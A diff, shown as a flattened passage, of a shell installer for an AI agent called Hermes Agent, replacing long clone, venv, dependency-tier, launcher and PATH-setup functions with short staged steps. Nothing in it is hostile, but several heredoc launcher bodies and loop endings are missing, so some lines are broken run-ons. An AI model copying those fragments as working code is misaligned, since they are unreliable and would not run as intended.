namespace - # but opening fails with ENXIO. See #16746. - echo "" - log_info "sudo is needed ONLY to install optional system packages (${pkgs[*]}) via your package manager." - log_info "Hermes Agent itself does not require or retain root access." - if prompt_yes_no "Install ${description}?" "yes"; then - if sudo DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a $install_cmd < /dev/tty; then - [ "$need_ripgrep" = true ] && HAS_RIPGREP=true && log_success "ripgrep installed" - [ "$need_ffmpeg" = true ] && HAS_FFMPEG=true && log_success "ffmpeg installed" - return 0 - fi - fi - else - log_warn "Non-interactive mode and no terminal available — cannot install system packages" - log_info "Install manually after setup completes: sudo $install_cmd" - fi - fi - fi - - # ── Fallback for ripgrep: cargo ── - if [ "$need_ripgrep" = true ] && [ "$HAS_RIPGREP" = false ]; then - if command -v cargo &> /dev/null; then - log_info "Trying cargo install ripgrep (no sudo needed)..." - if cargo install ripgrep; then - log_success "ripgrep installed via cargo" - HAS_RIPGREP=true - fi - fi - fi - - # ── Show manual instructions for anything still missing ── - if [ "$HAS_RIPGREP" = false ] && [ "$need_ripgrep" = true ]; then - log_warn "ripgrep not installed (file search will use grep fallback)" - show_manual_install_hint "ripgrep" - fi - if [ "$HAS_FFMPEG" = false ] && [ "$need_ffmpeg" = true ]; then - log_warn "ffmpeg not installed (TTS voice messages will be limited)" - show_manual_install_hint "ffmpeg" - fi -} - -show_manual_install_hint() { - local pkg="$1" - log_info "To install $pkg manually:" - case "$OS" in - linux) - case "$DISTRO" in - ubuntu|debian) log_info " sudo apt install $pkg" ;; - fedora) log_info " sudo dnf install $pkg" ;; - arch) log_info " sudo pacman -S $pkg" ;; - *) log_info " Use your package manager or visit the project homepage" ;; - esac - ;; - android) - log_info " pkg install $pkg" - ;; - macos) log_info " brew install $pkg" ;; - esac -} - -# ============================================================================ -# Installation -# ============================================================================ - -clone_repo() { - log_info "Installing to $INSTALL_DIR..." - - # An interrupted previous clone leaves a .git with no initial commit, where - # the update path's `git stash` / `git checkout` abort with "You do not - # have the initial commit yet" and fail the install (#40998). Move such a - # partial checkout aside -- never delete it, in case it holds something the - # user wants -- so the fresh-clone path below can proceed. - if [ -d "$INSTALL_DIR/.git" ] && ! git -C "$INSTALL_DIR" rev-parse --verify HEAD >/dev/null 2>&1; then - backup_dir="${INSTALL_DIR}.broken-$(date -u +%Y%m%d-%H%M%S)" - log_warn "Existing checkout at $INSTALL_DIR has no commits (interrupted clone)." - log_warn "Moving it aside to $backup_dir before re-cloning." - mv "$INSTALL_DIR" "$backup_dir" - fi - - if [ -d "$INSTALL_DIR" ]; then - if [ -d "$INSTALL_DIR/.git" ]; then - log_info "Existing installation found, updating..." - cd "$INSTALL_DIR" - - local autostash_ref="" - discard_update_lockfile_churn "$INSTALL_DIR" - if [ -n "$(git status --porcelain)" ]; then - # A previously interrupted update can leave the index with - # unmerged entries. In that state `git stash` aborts with - # "could not write index" and the later `git checkout` aborts - # with "you need to resolve your current index first", failing - # the whole install at the repository stage. Clear the conflict - # markers with `git reset` first -- this keeps working-tree - # changes (they're still stashed just below) and only drops the - # index-level conflict state. Mirrors the `hermes update` path - # (#4735). - if [ -n "$(git ls-files --unmerged)" ]; then - log_info "Clearing unmerged index entries from a previous conflict..." - git reset -q - fi - local stash_name - stash_name="hermes-install-autostash-$(date -u +%Y%m%d-%H%M%S)" - log_info "Local changes detected, stashing before update..." - git stash push --include-untracked -m "$stash_name" - autostash_ref="stash@{0}" - fi - - # Fetch only the target branch. A bare `git fetch origin` pulls - # every ref, and this repo carries thousands of auto-generated - # branches — on a non-single-branch checkout that turns each update - # into a multi-minute download that can stall the installer. - git remote set-branches origin "$BRANCH" 2>/dev/null || true - git fetch origin "$BRANCH" - git checkout "$BRANCH" - # Managed installs should follow origin/$BRANCH exactly. If the - # checkout has diverged (or has local-only commits), ff-only pull - # cannot succeed — mirror ``hermes update`` and reset to the - # fetched remote so bootstrap/install can recover. - if ! git pull --ff-only origin "$BRANCH"; then - log_warn "Fast-forward not possible; resetting managed install to origin/$BRANCH..." - git reset --hard "origin/$BRANCH" - fi - - if [ -n "$autostash_ref" ]; then - local restore_now="yes" - if [ -t 0 ] && [ -t 1 ]; then - echo - log_warn "Local changes were stashed before updating." - log_warn "Restoring them may reapply local customizations onto the updated codebase." - printf "Restore local changes now? [Y/n] " - read -r restore_answer - case "$restore_answer" in - ""|y|Y|yes|YES|Yes) restore_now="yes" ;; - *) restore_now="no" ;; - esac - fi - - if [ "$restore_now" = "yes" ]; then - log_info "Restoring local changes..." - local restore_output="" - local restore_ok="yes" - if restore_output="$(git stash apply "$autostash_ref" 2>&1)"; then - restore_ok="yes" - else - restore_ok="no" - fi - local conflicted_files="" - conflicted_files="$(git diff --name-only --diff-filter=U || true)" - if [ "$restore_ok" = "yes" ] && [ -z "$conflicted_files" ]; then - git stash drop "$autostash_ref" >/dev/null - log_warn "Local changes were restored on top of the updated codebase." - log_warn "Review git diff / git status if Hermes behaves unexpectedly." - else - log_error "Update pulled new code, but restoring local changes hit conflicts." - if [ -n "$restore_output" ]; then - printf '%s\n' "$restore_output" - fi - if [ -n "$conflicted_files" ]; then - printf '\nConflicted files:\n' - while IFS= read -r file; do - [ -n "$file" ] && printf ' • %s\n' "$file" - done </dev/null 2>&1 || true - log_info "Working tree reset to clean state." - log_info "Restore your changes later with: git stash apply $autostash_ref" - fi - else - log_info "Skipped restoring local changes." - log_info "Your changes are still preserved in git stash." - log_info "Restore manually with: git stash apply $autostash_ref" - fi - fi - else - log_error "Directory exists but is not a git repository: $INSTALL_DIR" - log_info "Remove it or choose a different directory with --dir" - exit 1 - fi - else - # Try SSH first (for private repo access), fall back to HTTPS - # GIT_SSH_COMMAND disables interactive prompts and sets a short timeout - # so SSH fails fast instead of hanging when no key is configured. - log_info "Trying SSH clone..." - if GIT_SSH_COMMAND="ssh -o BatchMode=yes -o ConnectTimeout=5" \ - git clone --depth 1 --branch "$BRANCH" "$REPO_URL_SSH" "$INSTALL_DIR" 2>/dev/null; then - log_success "Cloned via SSH" - else - rm -rf "$INSTALL_DIR" 2>/dev/null # Clean up partial SSH clone - log_info "SSH failed, trying HTTPS..." - if git clone --depth 1 --branch "$BRANCH" "$REPO_URL_HTTPS" "$INSTALL_DIR"; then - log_success "Cloned via HTTPS" - else - log_error "Failed to clone repository" - exit 1 - fi - fi - fi - - cd "$INSTALL_DIR" - if [ -n "$INSTALL_COMMIT" ]; then - # Validate the commit argument: must look like a hex SHA (full 40-char - # or abbreviated 7-39 char). Reject anything else early so the user - # gets a clear error instead of a misleading git message (#87268). - if ! printf '%s' "$INSTALL_COMMIT" | grep -qE '^[0-9a-fA-F]{7,40}$'; then - log_error "--commit expects a hex SHA (7-40 chars), got: $INSTALL_COMMIT" - return 1 - fi - # A commit pin must never move an existing install BACKWARDS. The - # bootstrap installer bakes its build-time commit into the binary - # (BUILD_PIN_COMMIT) and passes it as --commit on every install-mode - # run -- including the one the desktop's failure screen retries. An - # installer built months ago would otherwise rewind a current checkout - # to its build commit, stranding the user on ancient code with a - # current venv. Only pin when the target is not already an ancestor of - # HEAD; a fresh clone has no such ancestry and pins normally. - if ! git cat-file -e "$INSTALL_COMMIT^{commit}" 2>/dev/null; then - if ! git fetch origin "$INSTALL_COMMIT"; then - log_error "Could not fetch commit $INSTALL_COMMIT from origin." - log_error "Abbreviated SHAs are not supported — use the full 40-char hash." - log_error "Find it with: git ls-remote origin | grep " - return 1 - fi - fi - if git rev-parse --verify --quiet HEAD >/dev/null 2>&1 \ - && git merge-base --is-ancestor "$INSTALL_COMMIT" HEAD 2>/dev/null \ - && [ "$(git rev-parse "$INSTALL_COMMIT^{commit}" 2>/dev/null)" != "$(git rev-parse HEAD)" ]; then - if [ "$FORCE_COMMIT" = true ]; then - log_warn "--force-commit: rolling this install back to $INSTALL_COMMIT." - if ! git checkout --detach "$INSTALL_COMMIT"; then - log_error "Failed to detach at $INSTALL_COMMIT" - return 1 - fi - else - log_warn "Ignoring --commit $INSTALL_COMMIT: the checkout is already newer." - log_warn "Pinning to it would roll this install back. Pass --force-commit to override." - fi - else - log_info "Pinning checkout to commit $INSTALL_COMMIT..." - if ! git checkout --detach "$INSTALL_COMMIT"; then - log_error "Failed to detach at $INSTALL_COMMIT" - return 1 - fi - fi + git -C "$INSTALL_DIR" checkout "$INSTALL_COMMIT" || fail "could not pin commit $INSTALL_COMMIT" fi - - log_success "Repository ready" } -setup_venv() { - if [ "$USE_VENV" = false ]; then - log_info "Skipping virtual environment (--no-venv)" - return 0 - fi - - if [ "$DISTRO" = "termux" ]; then - log_info "Creating virtual environment with Termux Python..." - - if [ -d "venv" ]; then - log_info "Virtual environment already exists, recreating..." - rm -rf venv - fi - - "$PYTHON_PATH" -m venv venv - log_success "Virtual environment ready ($(./venv/bin/python --version 2>/dev/null))" - return 0 - fi - - log_info "Creating virtual environment with Python $PYTHON_VERSION..." - - if [ -d "venv" ]; then - log_info "Virtual environment already exists, recreating..." - rm -rf venv - fi - - # uv creates the venv and pins the Python version in one step - $UV_CMD venv venv --python "$PYTHON_VERSION" - - # Neutralize any inherited UV_PYTHON (e.g. UV_PYTHON=3.14 left in the - # user's shell env). uv honours UV_PYTHON over an existing venv for the - # later `uv sync` / `uv pip install` tiers, so without this it would - # silently delete this 3.11 venv and recreate it at the inherited - # version — building Rust transitives that have no wheel for that - # version from source via maturin, which fails. Pinning UV_PYTHON to the - # interpreter we just created forces every subsequent uv command onto it. - if [ -x "$INSTALL_DIR/venv/bin/python" ]; then - export UV_PYTHON="$INSTALL_DIR/venv/bin/python" - fi - - log_success "Virtual environment ready (Python $PYTHON_VERSION)" +stage_venv() { + ensure_uv + log "creating venv" + (cd "$INSTALL_DIR" && "$UV_CMD" venv --allow-existing venv) || fail "uv venv failed" } -run_locked_uv_sync() { - # Bootstrap uv calls stay isolated from ambient config via UV_NO_CONFIG - # (#21269). A locked project sync is different: uv.lock records resolver - # settings from this checkout's [tool.uv], so hiding pyproject.toml makes - # uv 0.12+ reject the valid lock. Re-enable project discovery only for - # this subprocess while redirecting user/system config lookups to an empty - # directory. Keep HOME unchanged so caches, credentials, and git continue - # to work normally. - local project_env="$1" - local isolated_uv_config - local sync_rc - isolated_uv_config="$(mktemp -d)" || return 1 - - ( - unset UV_NO_CONFIG UV_CONFIG_FILE - export XDG_CONFIG_HOME="$isolated_uv_config" - export XDG_CONFIG_DIRS="$isolated_uv_config" - UV_PROJECT_ENVIRONMENT="$project_env" $UV_CMD sync --extra all --locked - ) - sync_rc=$? - rmdir "$isolated_uv_config" 2>/dev/null || true - return "$sync_rc" +stage_python_deps() { + ensure_uv + log "syncing python dependencies (uv sync --frozen)" + (cd "$INSTALL_DIR" && VIRTUAL_ENV="$INSTALL_DIR/venv" "$UV_CMD" sync --frozen --extra all --active) || fail "uv sync failed" } -install_deps() { - log_info "Installing dependencies..." - - # Re-pin UV_PYTHON to the venv interpreter. setup_venv already does this, - # but the bootstrap runs install stages (`venv`, `python-deps`) as separate - # processes, so an export from setup_venv does NOT survive into a separate - # python-deps invocation. Re-deriving it here covers that path. Without it, - # an inherited UV_PYTHON=3.14 makes the uv sync/pip tiers below recreate the - # venv at 3.14 and fail the maturin source build (no cp314 wheels yet). - if [ "$DISTRO" != "termux" ] && [ -x "$INSTALL_DIR/venv/bin/python" ]; then - export UV_PYTHON="$INSTALL_DIR/venv/bin/python" - fi - - if [ "$DISTRO" = "termux" ]; then - if [ "$USE_VENV" = true ]; then - export VIRTUAL_ENV="$INSTALL_DIR/venv" - PIP_PYTHON="$INSTALL_DIR/venv/bin/python" - else - PIP_PYTHON="$PYTHON_PATH" - fi - - if [ -z "${ANDROID_API_LEVEL:-}" ]; then - ANDROID_API_LEVEL="$(getprop ro.build.version.sdk 2>/dev/null || true)" - if [ -z "$ANDROID_API_LEVEL" ]; then - ANDROID_API_LEVEL=24 - fi - export ANDROID_API_LEVEL - log_info "Using ANDROID_API_LEVEL=$ANDROID_API_LEVEL for Android wheel builds" - fi - - "$PIP_PYTHON" -m pip install --upgrade pip setuptools wheel >/dev/null - - # On Android, psutil's setup.py rejects sys.platform == 'android' before - # it ever invokes the C build, so the next pip install would fail at - # "platform android is not supported". Prebuild psutil from the official - # sdist with a one-line marker patch (Linux source path is fine on - # Android). Stopgap until psutil#2762 ships upstream. - if "$PIP_PYTHON" -c 'import sys; raise SystemExit(0 if sys.platform == "android" else 1)' 2>/dev/null; then - log_info "Android Python detected: prebuilding psutil compatibility shim..." - if ! "$PIP_PYTHON" "$INSTALL_DIR/scripts/install_psutil_android.py" --pip "$PIP_PYTHON -m pip"; then - log_warn "psutil Android prebuild failed — package install will likely fail next." - log_info "Workaround: manually rerun 'python scripts/install_psutil_android.py' once your toolchain is set up." - fi - fi - - # Try the broad Termux profile first (best-effort "install all" for Android), - # then fall back to the conservative Termux baseline, then base package. - if ! "$PIP_PYTHON" -m pip install -e '.[termux-all]' -c constraints-termux.txt; then - log_warn "Termux broad profile (.[termux-all]) failed, trying baseline Termux profile..." - if ! "$PIP_PYTHON" -m pip install -e '.[termux]' -c constraints-termux.txt; then - log_warn "Termux baseline profile (.[termux]) failed, trying base install..." - if ! "$PIP_PYTHON" -m pip install -e '.' -c constraints-termux.txt; then - log_error "Package installation failed on Termux." - log_info "Ensure these packages are installed: pkg install clang rust make pkg-config libffi openssl ca-certificates curl" - log_info "Then re-run: cd $INSTALL_DIR && python -m pip install -e '.[termux-all]' -c constraints-termux.txt" - exit 1 - fi - fi - fi - - log_success "Main package installed" - log_info "Termux note: matrix e2ee and local faster-whisper extras are excluded from .[termux-all] due to upstream Android wheel/toolchain blockers." - log_info "Termux note: browser/WhatsApp tooling is not installed by default; see the Termux guide for optional follow-up steps." - - log_success "All dependencies installed" - return 0 - fi - - if [ "$USE_VENV" = true ]; then - # Tell uv to install into our venv (no need to activate) - export VIRTUAL_ENV="$INSTALL_DIR/venv" - fi - - # On Debian/Ubuntu (including WSL), some Python packages need build tools. - # Check and offer to install them if missing. - if [ "$DISTRO" = "ubuntu" ] || [ "$DISTRO" = "debian" ]; then - local need_build_tools=false - for pkg in gcc python3-dev libffi-dev; do - if ! dpkg -s "$pkg" &>/dev/null; then - need_build_tools=true - break - fi - done - if [ "$need_build_tools" = true ]; then - log_info "Some build tools may be needed for Python packages..." - if command -v sudo &> /dev/null; then - if sudo -n true 2>/dev/null; then - sudo DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get update -qq && sudo DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get install -y -qq build-essential python3-dev libffi-dev >/dev/null 2>&1 || true - log_success "Build tools installed" - else - log_info "sudo is needed ONLY to install build tools (build-essential, python3-dev, libffi-dev) via apt." - log_info "Hermes Agent itself does not require or retain root access." - if prompt_yes_no "Install build tools?" "yes"; then - sudo DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get update -qq && sudo DEBIAN_FRONTEND=noninteractive NEEDRESTART_MODE=a apt-get install -y -qq build-essential python3-dev libffi-dev >/dev/null 2>&1 || true - log_success "Build tools installed" - fi - fi - fi - fi - fi - - # Install the main package in editable mode with all extras. - # - # Hash-verified install (Tier 0) — when uv.lock is present, prefer - # `uv sync --locked`. The lockfile records SHA256 hashes for every - # transitive, so a compromised transitive (different hash than what - # we shipped) is REJECTED by the resolver. This is the *only* path - # that protects against the "direct dep is fine, but the dep's dep - # got worm-poisoned overnight" failure mode. All `uv pip install` - # tiers below re-resolve transitives fresh from PyPI without any - # hash verification — they exist to keep installs working when the - # lockfile is stale, missing, or out-of-sync with the current - # extras spec, NOT because they're equivalent in posture. - if [ -f "uv.lock" ]; then - log_info "Trying tier: hash-verified (uv.lock) ..." - log_info "(this resolves + downloads the curated [all] set — first run on a" - log_info " fresh venv can take 1-5 minutes; uv prints progress below)" - # Stream uv's progress directly to the user instead of swallowing - # it with `2>"$(mktemp)"`. Two reasons: - # 1. `--extra all --locked` against a fresh venv has to pull - # every transitive — silencing stderr makes the install - # look frozen for minutes on slow networks. Users see - # "Trying tier: hash-verified ..." and assume it's hung. - # 2. The previous `2>"$(mktemp)"` substituted the path at - # command-build time but never saved it, so on failure the - # uv error message was unreachable — the user just got the - # generic "lockfile may be stale" warning. - # - # Critical flag choice: `--extra all`, NOT `--all-extras`. - # --all-extras = every [project.optional-dependencies] key. - # This bypasses the curated `[all]` extra - # entirely and pulls e.g. [matrix] (which - # needs python-olm + make on Windows) and - # [rl] (git+https deps that fail offline). - # --extra all = install just the `[all]` extra's contents. - # This respects the curation in pyproject.toml. - # uv's own progress UI handles TTY detection and downgrades - # gracefully when stdout/stderr aren't terminals. - # - # Run the Tier-0 locked sync via run_locked_uv_sync: the global - # UV_NO_CONFIG export at script start (the #21269 sudo -u hygiene - # guard) also hides the project's own [tool.uv] policy — - # exclude-newer, its package exemptions, and override-dependencies — - # from uv. The resolver then runs under a different policy than the - # one uv.lock was resolved under, and --locked turns that mismatch - # fatal, so every fresh install fell through to the non-hash-verified - # PyPI tiers. The helper re-enables project config discovery for this - # one subprocess while keeping ambient user/system uv config hidden - # (redirected to an empty XDG dir), preserving the #21269 guarantee. - # Runtime code does the same before its locked syncs - # (hermes_cli/managed_uv.py). - if run_locked_uv_sync "$INSTALL_DIR/venv"; then - log_success "Main package installed (hash-verified via uv.lock)" - log_success "All dependencies installed" - return 0 - fi - log_warn "uv.lock sync failed (see uv output above), falling back to PyPI resolve..." - else - log_info "uv.lock not found — falling back to PyPI resolve (no hash verification)" - fi - - # Multi-tier fallback. The point of the tiers is that ONE compromised - # PyPI package (a worm-poisoned release that gets quarantined, like - # mistralai 2.4.6 in May 2026) shouldn't be able to silently demote a - # fresh install all the way down to "core only" — the user should keep - # everything else they signed up for. - # - # Tier 1: [all] — the curated extra in pyproject.toml. - # Tier 2: [all] minus the currently-broken extras list (_BROKEN_EXTRAS). - # Edit _BROKEN_EXTRAS below when something on PyPI breaks; this - # lets users keep the rest of [all] when one transitive is - # unavailable. The list of [all]'s contents is parsed from - # pyproject.toml at runtime — there is NO hand-mirrored copy - # to drift out of sync. If you want to change what [all] - # contains, edit pyproject.toml only. - # Tier 3: bare `.` — last-resort so at least the core CLI launches. - # Skipped tiers like "PyPI-only extras (no git deps)" used to - # exist to dodge [rl] / [matrix] git+sdist deps; those are no - # longer in [all] post-2026-05-12 lazy-install migration, so - # a separate PyPI-only tier had no remaining content. - local _BROKEN_EXTRAS=() # populate when an extra becomes unresolvable - - # Parse [project.optional-dependencies].all from pyproject.toml. - # tomllib is stdlib on Python 3.11+ which uv's bootstrap guarantees. - # Falls back to a hand list if parse fails — defensive only. - local _ALL_EXTRAS_CSV - _ALL_EXTRAS_CSV="$( - "$PYTHON_PATH" - <<'PY' 2>/dev/null -import re, sys, tomllib -try: - with open("pyproject.toml", "rb") as fh: - data = tomllib.load(fh) - specs = data["project"]["optional-dependencies"]["all"] - extras = [] - for s in specs: - m = re.search(r"hermes-agent\[([\w-]+)\]", s) - if m: - extras.append(m.group(1)) - print(",".join(extras)) -except Exception as e: - print("", file=sys.stderr) - sys.exit(1) -PY - )" - if [ -z "$_ALL_EXTRAS_CSV" ]; then - log_warn "Could not parse [all] from pyproject.toml; falling back to .[all] only." - _ALL_EXTRAS_CSV="" - fi - - # Build "[all] minus broken" spec by filtering the parsed list. - local _SAFE_SPEC=".[all]" - if [ -n "$_ALL_EXTRAS_CSV" ] && [ "${#_BROKEN_EXTRAS[@]}" -gt 0 ]; then - local _SAFE_EXTRAS=() - local _e _b _skip - IFS=',' read -ra _ALL_EXTRAS_ARR <<< "$_ALL_EXTRAS_CSV" - for _e in "${_ALL_EXTRAS_ARR[@]}"; do - _skip=false - for _b in "${_BROKEN_EXTRAS[@]}"; do - if [ "$_e" = "$_b" ]; then _skip=true; break; fi - done - if [ "$_skip" = false ]; then _SAFE_EXTRAS+=("$_e"); fi - done - _SAFE_SPEC=".[$(IFS=,; echo "${_SAFE_EXTRAS[*]}")]" - fi - - ALL_INSTALL_LOG=$(mktemp) - local _installed=false - local _tier_name="" - - install_tier() { - local name="$1"; local spec="$2" - log_info "Trying tier: $name ..." - if $UV_CMD pip install -e "$spec" 2>"$ALL_INSTALL_LOG"; then - log_success "Main package installed ($name)" - _installed=true - _tier_name="$name" - return 0 - fi - log_warn "Tier '$name' failed. Top of pip output:" - head -5 "$ALL_INSTALL_LOG" | sed 's/^/ /' >&2 - return 1 - } - - install_tier "all" ".[all]" \ - || install_tier "all minus known-broken (${_BROKEN_EXTRAS[*]:-none})" "$_SAFE_SPEC" \ - || install_tier "core only (no extras)" "." - - rm -f "$ALL_INSTALL_LOG" - - if [ "$_installed" = false ]; then - log_error "Package installation failed even with no extras." - log_info "Check that build tools are installed: sudo apt install build-essential python3-dev" - log_info "Then re-run: cd $INSTALL_DIR && uv pip install -e '.[all]'" - exit 1 - fi - - if [ "$_tier_name" != "all" ]; then - log_warn "Note: installed via fallback tier ($_tier_name)." - log_info "Some optional features may be missing. After resolving any" - log_info "PyPI/network issue, re-run: $UV_CMD pip install -e '.[all]'" - fi - - log_success "Main package installed" - - log_success "All dependencies installed" +stage_node_deps() { + # Tool binaries, node, browsers: pm packages, installed on demand or + # via `hermes pm install`. Nothing to do at bootstrap time. + log "tool dependencies are managed by pm (hermes pm install)" } -setup_path() { - log_info "Setting up hermes command..." - - if [ "$USE_VENV" = true ]; then - HERMES_BIN="$INSTALL_DIR/venv/bin/python" - HERMES_ENTRYPOINT="$INSTALL_DIR/hermes" - else - HERMES_BIN="$(which hermes 2>/dev/null || echo "")" - if [ -z "$HERMES_BIN" ]; then - log_warn "hermes not found on PATH after install" - return 0 - fi - fi - - # Verify the interpreter and the checked-in entrypoint needed by the launcher. - if [ ! -x "$HERMES_BIN" ] || { [ "$USE_VENV" = true ] && [ ! -f "$HERMES_ENTRYPOINT" ]; }; then - log_warn "Hermes launcher prerequisites not found" - log_info "This usually means the Python package install didn't complete successfully." - if [ "$DISTRO" = "termux" ]; then - log_info "Try: cd $INSTALL_DIR && python -m pip install -e '.[termux-all]' -c constraints-termux.txt" - else - log_info "Try: cd $INSTALL_DIR && uv pip install -e '.[all]'" - fi - return 0 - fi - - local command_link_dir - local command_link_display_dir - command_link_dir="$(get_command_link_dir)" - command_link_display_dir="$(get_command_link_display_dir)" - - # Create a user-facing shim for the hermes command. - # We intentionally clear PYTHONPATH/PYTHONHOME here so inherited env vars - # can't make this launcher import modules from another checkout. - mkdir -p "$command_link_dir" - # Older installs created this path as a symlink to $HERMES_BIN. Without - # the rm, `cat >` follows the symlink and overwrites the venv pip entry - # point with this shim — making `exec "$HERMES_BIN"` self-recurse. (#21454) - rm -f "$command_link_dir/hermes" - if [ "$USE_VENV" = true ]; then - # uv-generated console scripts resolve themselves through `realpath`, - # which stock macOS does not provide. Run the checked-in entrypoint - # with the venv interpreter instead, so the public launcher remains - # independent of non-standard shell utilities. - cat > "$command_link_dir/hermes" < "$link_dir/hermes" < "$command_link_dir/hermes" < "$command_link_dir/hermes-agent" < "$command_link_dir/hermes-agent" <` cannot follow an old symlink - # into the venv and overwrite the console script.) - rm -f "$command_link_dir/hermes-acp" - if [ "$USE_VENV" = true ]; then - cat > "$command_link_dir/hermes-acp" < "$command_link_dir/hermes-acp" </dev/null 2>&1; then - log_info "/usr/local/bin is already on PATH for all shells" - log_success "hermes command ready" - return 0 - fi - - log_info "hermes not on PATH in non-login shells (common on RHEL-family)" - PATH_LINE='export PATH="/usr/local/bin:$PATH"' - PATH_COMMENT='# Hermes Agent — ensure /usr/local/bin is on PATH (RHEL non-login shells)' - for SHELL_CONFIG in "$HOME/.bashrc" "$HOME/.bash_profile"; do - [ -f "$SHELL_CONFIG" ] || continue - if ! grep -v '^[[:space:]]*#' "$SHELL_CONFIG" 2>/dev/null \ - | grep -qE 'PATH=.*(/usr/local/bin|\$command_link_dir)'; then - echo "" >> "$SHELL_CONFIG" - echo "$PATH_COMMENT" >> "$SHELL_CONFIG" - echo "$PATH_LINE" >> "$SHELL_CONFIG" - log_success "Added /usr/local/bin to PATH in $SHELL_CONFIG" - fi - done - log_success "hermes command ready" - return 0 - fi - - # Check if ~/.local/bin is on PATH; if not, add it to shell config. - # Detect the user's actual login shell (not the shell running this script, - # which is always bash when piped from curl). - if ! echo "$PATH" | tr ':' '\n' | grep -q "^$command_link_dir$"; then - SHELL_CONFIGS=() - IS_FISH=false - LOGIN_SHELL="$(basename "${SHELL:-/bin/bash}")" - case "$LOGIN_SHELL" in - zsh) - [ -f "$HOME/.zshrc" ] && SHELL_CONFIGS+=("$HOME/.zshrc") - [ -f "$HOME/.zprofile" ] && SHELL_CONFIGS+=("$HOME/.zprofile") - # If neither exists, create ~/.zshrc (common on fresh macOS installs) - if [ ${#SHELL_CONFIGS[@]} -eq 0 ]; then - touch "$HOME/.zshrc" - SHELL_CONFIGS+=("$HOME/.zshrc") - fi - ;; - bash) - [ -f "$HOME/.bashrc" ] && SHELL_CONFIGS+=("$HOME/.bashrc") - [ -f "$HOME/.bash_profile" ] && SHELL_CONFIGS+=("$HOME/.bash_profile") - ;; - fish) - # fish uses ~/.config/fish/config.fish and fish_add_path — not export PATH= - IS_FISH=true - FISH_CONFIG="$HOME/.config/fish/config.fish" - mkdir -p "$(dirname "$FISH_CONFIG")" - touch "$FISH_CONFIG" - ;; - *) - [ -f "$HOME/.bashrc" ] && SHELL_CONFIGS+=("$HOME/.bashrc") - [ -f "$HOME/.zshrc" ] && SHELL_CONFIGS+=("$HOME/.zshrc") - ;; - esac - # Also ensure ~/.profile has it (sourced by login shells on - # Ubuntu/Debian/WSL even when ~/.bashrc is skipped) - [ "$IS_FISH" = "false" ] && [ -f "$HOME/.profile" ] && SHELL_CONFIGS+=("$HOME/.profile") - - PATH_LINE='export PATH="$HOME/.local/bin:$PATH"' - - for SHELL_CONFIG in "${SHELL_CONFIGS[@]}"; do - if ! grep -v '^[[:space:]]*#' "$SHELL_CONFIG" 2>/dev/null | grep -qE 'PATH=.*\.local/bin'; then - echo "" >> "$SHELL_CONFIG" - echo "# Hermes Agent — ensure ~/.local/bin is on PATH" >> "$SHELL_CONFIG" - echo "$PATH_LINE" >> "$SHELL_CONFIG" - log_success "Added ~/.local/bin to PATH in $SHELL_CONFIG" - fi - done - - # fish uses fish_add_path instead of export PATH=... - if [ "$IS_FISH" = "true" ]; then - if ! grep -q 'fish_add_path.*\.local/bin' "$FISH_CONFIG" 2>/dev/null; then - echo "" >> "$FISH_CONFIG" - echo "# Hermes Agent — ensure ~/.local/bin is on PATH" >> "$FISH_CONFIG" - echo 'fish_add_path "$HOME/.local/bin"' >> "$FISH_CONFIG" - log_success "Added ~/.local/bin to PATH in $FISH_CONFIG" - fi - fi - - if [ "$IS_FISH" = "false" ] && [ ${#SHELL_CONFIGS[@]} -eq 0 ]; then - log_warn "Could not detect shell config file to add ~/.local/bin to PATH" - log_info "Add manually: $PATH_LINE" - fi - else - log_info "~/.local/bin already on PATH" - fi - - # Export for current session so hermes works immediately - export PATH="$command_link_dir:$PATH" - - log_success "hermes command ready" -} - -copy_config_templates() { - log_info "Setting up configuration files..." - - # Create ~/.hermes directory structure (config at top level, code in subdir) - mkdir -p "$HERMES_HOME"/{cron,sessions,logs,pairing,hooks,image_cache,audio_cache,memories,skills} - - # Create .env at ~/.hermes/.env (top level, easy to find) - if [ ! -f "$HERMES_HOME/.env" ]; then - if [ -f "$INSTALL_DIR/.env.example" ]; then - cp "$INSTALL_DIR/.env.example" "$HERMES_HOME/.env" - log_success "Created ~/.hermes/.env from template" - else - touch "$HERMES_HOME/.env" - log_success "Created ~/.hermes/.env" - fi - else - log_info "~/.hermes/.env already exists, keeping it" - fi - # Restrict .env permissions — this file holds API keys and tokens. - # 0600 ensures only the file owner can read/write, matching standard - # practice for credential files (.netrc, .aws/credentials, .ssh/config). - chmod 600 "$HERMES_HOME/.env" - configure_browser_env_from_system_browser - - # Create config.yaml at ~/.hermes/config.yaml (top level, easy to find) - if [ ! -f "$HERMES_HOME/config.yaml" ]; then - if [ -f "$INSTALL_DIR/cli-config.yaml.example" ]; then - cp "$INSTALL_DIR/cli-config.yaml.example" "$HERMES_HOME/config.yaml" - log_success "Created ~/.hermes/config.yaml from template" - fi - else - log_info "~/.hermes/config.yaml already exists, keeping it" - fi - - # Create SOUL.md if it doesn't exist (global persona file). - # This MUST match DEFAULT_SOUL_MD in hermes_cli/default_soul.py — the - # runtime (_ensure_default_soul_md) treats the old comment-only scaffold as - # "never customized" and upgrades it to this text on next run, so any drift - # here is self-healing, but keep them in sync to avoid a churn on first run. - if [ ! -f "$HERMES_HOME/SOUL.md" ]; then - cat > "$HERMES_HOME/SOUL.md" << 'SOUL_EOF' -You are Hermes Agent, an intelligent AI assistant created by Nous Research. You are helpful, knowledgeable, and direct. You assist users with a wide range of tasks including answering questions, writing and editing code, analyzing information, creative work, and executing actions via your tools. You communicate clearly, admit uncertainty when appropriate, and prioritize being genuinely useful over being verbose unless otherwise directed below. Be targeted and efficient in your exploration and investigations. -SOUL_EOF - log_success "Created ~/.hermes/SOUL.md (edit to customize personality)" - fi - - log_success "Configuration directory ready: ~/.hermes/" - - # Seed bundled skills into ~/.hermes/skills/ (manifest-based, one-time per skill) - if [ "$NO_SKILLS" = true ]; then - # Blank-slate install: write the opt-out marker and skip seeding. - # skills_sync.py and `hermes update` both honor this marker, so the - # default profile stays empty across future updates too. - printf '%s\n' \ - "This profile opted out of bundled-skill seeding (installed with --no-skills)." \ - "Delete this file to re-enable sync on the next 'hermes update'." \ - > "$HERMES_HOME/.no-bundled-skills" 2>/dev/null || true - log_info "Skipping bundled skills (--no-skills). Wrote $HERMES_HOME/.no-bundled-skills" - log_info " Future 'hermes update' runs will not inject bundled skills. Delete the marker to opt 